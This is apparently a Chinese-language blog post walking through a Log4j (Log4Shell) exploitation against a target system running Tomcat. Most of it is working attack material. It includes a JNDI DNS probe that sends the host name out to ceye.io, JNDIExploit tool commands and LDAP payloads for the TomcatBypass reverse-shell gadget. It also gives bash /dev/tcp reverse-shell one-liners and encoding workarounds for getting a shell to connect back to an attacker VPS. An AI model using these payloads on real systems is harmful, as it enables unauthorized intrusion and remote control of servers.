记一次log4j的利用

水一篇文章,搞了一会才搞出来的一个log4j

0x01:发现漏洞

利用插件扫除的log4j,推荐f神的插件,好用又稳定

https://github.com/f0ng/log4j2burpscanner

0x02:漏洞利用

尝试外带,若能外带成功,可以看看java的版本

${jndi:dns://${hostName}..ceye.io/test}

ceye没有收到请求,于是尝试直接去执行命令或者shell

使用JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar构造一个ldap环境

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -A vps -C “curl vps:port”

发送payload

ldap收到了请求

执行命令没有成功

0x03:更换jdk版本

恰巧之前碰到过这种情况,按照之前的笔记,使用JNDIExploit-1.2-SNAPSHOT.jar

指定jdk版本运行,首先可以列出可利用的Gaddget
/usr/local/jdk-11.0.13/bin/java -jar JNDIExploit-1.2-SNAPSHOT.jar -u

使用/Deserialization/CommonsBeanutils1/ReverseShell/,发现和上面情况一样,ldap有请求但是收不到命令,也试了s2,k1之类的

后面知道了组件是tomcat,再次更换Gaddget

/TomcatBypass/ReverseShell/

${jndi:ldap://vps:1389/TomcatBypass/ReverseShell/vps/9011}

发现服务器成功收到了shell

但是无法执行命令,发现有个报错
bash: no job control in this shell
搜索了一下

https://blog.csdn.net/luminous_you/article/details/109322180

想是不是工具的Gaddget有问题

再去更换一个Gaddget,自己写命令

ldap://null:1389/TomcatBypass/Command/Base64/[base64_encoded_cmd]

把bash -i >& /dev/tcp/[ip]/5555 0>&1进行编码,发送payload

+号被替换成了空格,导致无法利用成功,将+号换成2b%也可以

0x04:更换反弹shell命令

这里我直接换了个语句

exec 5<>/dev/tcp/[ip]/port;cat <&5|while read line;do $line >&5 2>&1;done

把这个编码一下

没有空格

发送 payload:
${jndi:ldap://xxxx:1389/TomcatBypass/Command/Base64/xxxx}

ldap收到请求

查看监听端口,成功执行命令

后记

还翻了一下这个工具的源码,还真没加0>&1

发表评论

电子邮件地址不会被公开。 必填项已用*标注